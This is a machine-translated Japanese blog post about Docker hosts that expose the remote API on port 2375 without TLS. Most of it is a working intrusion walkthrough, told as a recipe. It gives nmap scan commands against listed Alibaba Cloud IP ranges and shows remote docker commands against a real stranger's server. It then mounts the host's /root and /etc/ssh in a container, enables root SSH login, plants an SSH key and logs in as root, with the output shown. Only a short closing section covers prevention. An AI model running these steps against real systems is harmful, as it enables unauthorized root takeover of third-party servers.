Docker がポート 2375 を公開し、サーバー攻撃を引き起こす問題と解決策

Docker がポート 2375 を公開し、サーバー攻撃を引き起こす問題と解決策

docker リモート API を学習した学生であれば、ポート 2375 についてよくご存知だと思います。2375 は docker リモート コントロールのデフォルト ポートです。このポートを通じて、リモート docker デーモンを直接操作できます。

$HOST ホストがdocker daemon -H=0.0.0.0:2375モードでデーモンを起動すると、外部マシン上の $HOST の docker デーモンを直接操作できます。

docker -H tcp://$HOST:2375 ps

さて、「侵入」の仕方について話しましょう。このポートを通じてホストマシンに侵入するにはどうすればいいのでしょうか?

これはいくつかの点から始まります:
1. Docker はuser namespaceを分離しません。つまり、コンテナ内のルートユーザーはホストマシンのルートユーザーです。ディレクトリがマウントされると、マウントされたファイルシステムは、ホストマシンのルートユーザーとしてコンテナ内で自由に変更できます。

  • docker サービスには高い実行権限 (root と同等) があり、docker ユーザー グループの一般ユーザーは、他の検証なしで docker run などのコマンドを実行できます。
  • 公開された docker リモート API ポートで SSL 検証が有効になっていない場合、docker ホストに接続できるマシンであれば、どのマシンでも docker ホストの docker デーモンを自由に操作できます (docker run、docker ps、docker rm などのコマンドは問題ありません)。

上記の 3 つのポイントを組み合わせると、基本的に Docker ホストに侵入するための条件が整います。

これは少し無理が​​あるように聞こえるかもしれないので、新しい例を見てみましょう。

(最近覚えた料理でその工程を説明させてください╮( ̄▽ ̄)╭)

秘伝の煮込み豚(ドッカーバージョン)

材料: 「5 つの花」の IP セグメントのブロック全体。太いほど良い (初心者ユーザーが多いほど良い)

材料: nmap、docker

ステップ1: ポート2375をスキャンする

スキャン方法は?私はシンプルで使いやすいハッカー必須ツールであるnmap選択しました。

どこを掃除しますか?私が選択したターゲットは aliyun の IP セグメントであり、Baidu は次のことを発見しました。

42.96.128.0/17 アリババ(北京)テクノロジー株式会社 中国 
42.120.0.0/16 Aliyun Computing Co., LTD 中国 
42.121.0.0/16 Aliyun Computing Co., LTD 中国 
42.156.128.0/17 Aliyun Computing Co., LTD 中国 
110.75.0.0/16 アジア太平洋ネットワーク情報センター 中国 
110.76.0.0/19 アリテクノロジー株式会社 中国 
110.76.32.0/20 Aliyun Computing Co., LTD 中国 
110.173.192.0/20 HiChina Web Solutions (北京) Limited 中国 
110.173.208.0/20 HiChina Web Solutions (北京) Limited 中国 
112.124.0.0/16 杭州アリババ広告有限公司 中国 
112.127.0.0/16 杭州アリババ広告有限公司 中国 
114.215.0.0/16 杭州アリババ広告有限公司 中国 
115.28.0.0/16 HiChina Web Solutions (北京) Limited 中国 
115.29.0.0/16 HiChina Web Solutions (北京) Limited 中国 
115.124.16.0/22 杭州アリババ広告有限公司 中国 
115.124.20.0/22 杭州アリババ広告有限公司 中国 
115.124.24.0/21 杭州アリババ広告有限公司 中国 
119.38.208.0/21 杭州アリババ広告有限公司 中国 
119.38.216.0/21 杭州アリババ広告有限公司 中国 
119.42.224.0/20 アリババ(中国)テクノロジー株式会社 中国 
119.42.242.0/23 杭州アリババ広告有限公司 中国 
119.42.244.0/22 杭州アリババ広告有限公司 中国 
121.0.16.0/21 杭州アリババ広告有限公司 中国 
121.0.24.0/22 杭州アリババ広告有限公司 中国 
121.0.28.0/22 杭州アリババ広告有限公司 中国 
121.196.0.0/16 杭州アリババ広告有限公司 中国 
121.197.0.0/16 杭州アリババ広告有限公司 中国 
121.198.0.0/16 杭州アリババ広告有限公司 中国 
121.199.0.0/16 杭州アリババ広告有限公司 中国 
140.205.0.0/16 Aliyun Computing Co., LTD 中国 
203.209.250.0/23 杭州アリババ広告有限公司 中国 
218.244.128.0/19 杭州アリババ広告有限公司 中国 
223.4.0.0/16 杭州アリババ広告有限公司 中国 
223.5.0.0/16 杭州アリババ広告有限公司 中国 
223.5.5.0/24 杭州アリババ広告有限公司 中国 
223.6.0.0/16 杭州アリババ広告有限公司 中国 
223.6.6.0/24 杭州アリババ広告有限公司 中国 
223.7.0.0/16 杭州アリババ広告株式会社

私は IP を制作しているわけではなく、Baidu のポーターです。これらの IP がどこから来たのか聞かないでください。私も知りたいのです~ >.<

上記のIP内容をaliyun.listなどのファイルに保存します。

スキャンを開始します:

cat aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --open 
# コマンドを簡単に説明します:
# awk は IP セグメントの最初の列をフィルタリングします # xargs はフィルタリングされた IP を 1 つずつ nmap に送信します。-I {} は、送信されたパラメータを {} を使用して置き換えることを意味します # ...
# 2016-06-05 09:57 CST に Nmap 7.01 ( https://nmap.org ) を起動
# 42.96.MOSAIC.MOSAIC の Nmap スキャン レポート
# ホストが起動しています(遅延 0.070 秒)。
# 港湾国サービス
# 2375/tcp ドッカーを開く
# ...

2分も経たないうちに、 42.96.MOSAIC.MOSAIC最初の作品「豚バラ肉」が選択されました、さあ~

ステップ2: 2375の直接制御をテストする

docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps
 
# コンテナ ID イメージ コマンド 作成 ステータス ポート  
# 73aa690e7c92 imdjh/owncloud-with-ocdownloader "/entrypoint.sh" 9 日前 3 日前 0.0.0.0:9009->80
# f57c56af0e29 rethinkdb:2.3.2 "rethinkdb --bind all" 9 日前 3 日前 8080/tcp, 28015/
# 37c1401db593 gaomd/ikev2-vpn-server:0.3.0 "/bin/sh -c /usr/bin/" 10 日前 3 日前 0.0.0.0:500->500
# af7338a5426d nginx:1.9-alpine "nginx -g 'daemon off" 3 週間前 3 日間稼働 443/tcp, 0.0.0.0
# ...

このサーバーの所有者は本当に協力的です (⊙ο⊙)。 PS を通じてコン​​テンツを直接見ることができます。つまり、このホストの 2375 には SSL 検証がなく、基本的に侵入要件を満たしています。

「五花」を洗って切り、鉢に植える準備をします~

ステップ3: 独自のコンテナをリモートで起動する

Docker を制御できるようになると何ができるようになりますか?ゲットしてよかったです〜

# images 既存のローカルイメージを確認します# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 images
# ...
# swarm 最新 47dc182ea74b 4 週間前 19.32 MB
# jwilder/nginx-proxy 最新 203b20631e41 4 週間前 255.6 MB
# ubuntu 最新 c5f1cf30c96b 4 週間前 120.8 MB
# 造船所/造船所 最新 ba426f0944bc 5 週間前 58.92 MB
# ...

一部出力を省略しています。画像がかなり多いです。Ubuntuを選択しましょう。

# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 実行 --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu

このステップを見ると、SSHの知識がある学生なら理解できるはずだと私は思う。

ステップ4: SSH pubキーの挿入

起動したばかりのコンテナで、まず/tmp/ssh_etc/sshd_config (つまり、ホストの/etc/ssh/sshd_config ) の PermitRootLogin フィールドを確認します。 noの場合は、 yesに変更して、rootがssh経由でログインできるようにします。

次に、マシン上で新しい pub キーのペアを生成します (すでに ssh キーがある場合は、新しいキーを生成することをお勧めします。毎日使用する ssh pub キーは使用しないでください)。

# ssh-keygen を使用して生成します ssh-keygen -t rsa -C "[email protected]"
# コマンドを実行した後、「キーを保存するファイルを入力してください」というプロンプトを読んで、自分の SSH キーを上書きしないように注意してください。/tmp/id_rsa を選択できます。
# その他のプロンプトについては、次のように入力してください

続行し、ssh pubキーを挿入し、実行を開始したコンテナに戻ります。

cat >> /tmp/root/.ssh/authorized_keys <<EOF
>ssh-rsa AAA.... # 先ほどマシン上で生成した /tmp/id_rsa.pub ファイルをここに貼り付けます
>終了
 
# /tmp/root/.sshディレクトリが存在しない場合は直接作成します

スターアニス、ローリエの葉、薄口醤油、濃口醤油、酢を加え、中火で煮て、盛り付けます。

ステップ5: サーバーにログインする

# ssh -i ログインするためのキーを指定します ssh -i /tmp/id_rsa [email protected]
 
# Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64) へようこそ
#
# * ドキュメント: https://help.ubuntu.com/
#
# aliyun Elastic Compute Service へようこそ!
#
# 最終ログイン: 2016 年 6 月 3 日金曜日 01:38:07 120.85.MOSAIC.MOSAIC から
# manpath: ロケールを設定できません。$LC_* と $LANG が正しいことを確認してください
# ルート@iZ28p9b7e***:~# 
# ...

ソースがとろみがつくまで強火で煮詰めたら火から下ろします。

厳粛な宣言

上記のチュートリアルは、コミュニケーションと学習のみを目的としています。42.96.MOSAIC.MOSAIC サーバーの42.96.MOSAIC.MOSAIC id_rsa.pub 、このチュートリアルの完了後にアクティブにクリアされ、そのことを通知するメッセージがサービス上に残されました。

利用可能なポート 2375 を偶然発見した場合は、使用を中止して他の目的で使用しないようにするか、他の侵入の脆弱性を見つけて、皆さんとコミュニケーションを取り、学習できるようにしていただければ幸いです。

2375 は Docker の脆弱性ですか?

いいえ! 2375 をパブリック インターネットに直接公開することは、単にユーザーの習慣または怠惰の問題です。2375は、比較的安全な内部ネットワークでの便利なテストに使用できますが、実稼働環境での使用には適していません。

Docker 公式サイトの最初のドキュメント「クイックスタート」には、次のような一文があります。

警告: デフォルトのDockerデーモンバインディングをTCPポートまたは
Unix dockerユーザーグループは、セキュリティリスクを増加させます。
非ルートユーザーがホスト上でルートアクセスを取得できないようにする。
dockerへのアクセス。TCPポートにバインドしている場合は、
そのポートへのアクセスはDockerの完全なアクセス権を持っているため、お勧めできません。
オープンネットワーク上で。

警告: デーモンが TCP ポートに直接公開されている場合、非 root ユーザーがホスト マシン上で root 権限を取得できる可能性があります。実はこれが、上記のサーバーが侵入された理由です。

予防方法

では、問題は、リモート API を使用したいがハッキングされるリスクを避けたい場合はどうすればいいのかということです。

公式の Docker ドキュメントでは、CA 認証を通じてリモート API を使用する方法が紹介されています。

詳細については、「Dockerデーモンソケットを保護する」を参照してください。

(理解できたらまたブログを書きますが、ここにリンクしておきますOO)

設定プロセスは比較的簡単です。以下は SSL を設定した後の効果を示す図です。

Docker がポート 2375 を公開してサーバー攻撃を引き起こす問題とその解決策に関するこの記事はこれで終わりです。Docker がポート 2375 を公開することに関する関連コンテンツの詳細については、123WORDPRESS.COM の以前の記事を検索するか、次の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM を応援していただければ幸いです。

以下もご興味があるかもしれません:
  • Docker での環境変数の使用とよくある問題の解決策
  • Dockerはターミナルで中国語を入力できない問題を解決します
  • DockerでJenkinsをインストールし、初期プラグインのインストール失敗の問題を解決する
  • Dockerコンテナが外部ネットワークにpingできない問題を解決する
  • Docker環境でJenkinsを設定すると、タスクをビルドするときにコンソールログに文字化けした中国語の文字が表示されます
  • docker ログが取得できない問題の解決方法
  • Ubuntu 19でdockerソースをインストールできない問題を共有する
  • Dockerに関するよくある質問

<<:  ES6のシンボルデータ型について詳しく説明します

>>:  MySQL ストアド プロシージャを作成 (CREATE PROCEDURE) して呼び出す (CALL) 方法と、変数を作成 (DECLARE) して割り当てる (SET) 方法

推薦する

クラウドデータ移行サービスの観点から見たMySQLの大規模テーブル抽出モードの原理分析

概要: MySQL JDBC 抽出にはどのような方法を使用すればよいでしょうか? その方法を説明しま...

MySQL 単一テーブルクエリの例の詳細な説明

1. データを準備するこのテーブルでは次の操作が実行されます 学生テーブルを作成 ( id int ...

...

Linux での MySQL データベースのマスター スレーブ同期レプリケーション構成

Linux での MySQL データベースのマスター/スレーブ同期構成の利点は、この方法をバックアッ...

「さらに表示」ボタンによる複数行テキストの切り捨てに関する考察

最近、たまたまこの小さな要件に遭遇しました。昔、JS を使用してこれを処理したことを覚えていますが、...

HTML と CSS に関する基本的なメモ (フロントエンドでは必読)

HTMLに触れた当初はレイアウトにいつもテーブルを使っていましたが、とても面倒で見た目も悪かったの...

mysql zipファイルのインストールチュートリアル

この記事では、参考までにMySQL zipファイルをインストールする具体的な方法を紹介します。具体的...

MYSQL大規模書き込み問題の最適化の詳細な説明

概要: MySQL のパフォーマンス最適化について話すとき、誰もがクエリ パフォーマンスを向上させる...

Iframe Web ページのナビゲーション ウィンドウに関する簡単な説明

Iframe Web ページのナビゲーション ウィンドウに関する簡単な説明 Iframe ウェブペー...

HTML特殊文字の徹底分析

HTML徹底解析(14)特殊文字 ■ よく使われる特殊文字 HTMLタグを知っていれば、特殊文字の使...

一般的な docker コマンドの概要 (推奨)

1. 要約:一般的に、次のカテゴリに分類できます。 Docker 環境情報 — docker [i...

要素 UI に基づいてクエリ コンポーネントを段階的にカプセル化する方法

目次関数基本的なクエリ関数クエリ条件の初期化ページのレンダリングクエリと表示の最適化をさらに強化プル...

MySQL データベースの型変換のための CAST 関数と CONVERT 関数の説明

MySQL のCAST()およびCONVERT()関数を使用すると、ある型の値を取得し、別の型の値を...

CSS を使用してサブ要素に応じて異なるスタイルを記述する方法

達成すべき効果: 必要なもの1枚、2枚、3枚とスタイルが異なります。子要素の判定はjsで完結できます...

MySQL でタイムスタンプを日付に変換する例

序文職場で次のような状況に遭遇しました。ログ システムのテーブルでは、時間フィールドには日付データで...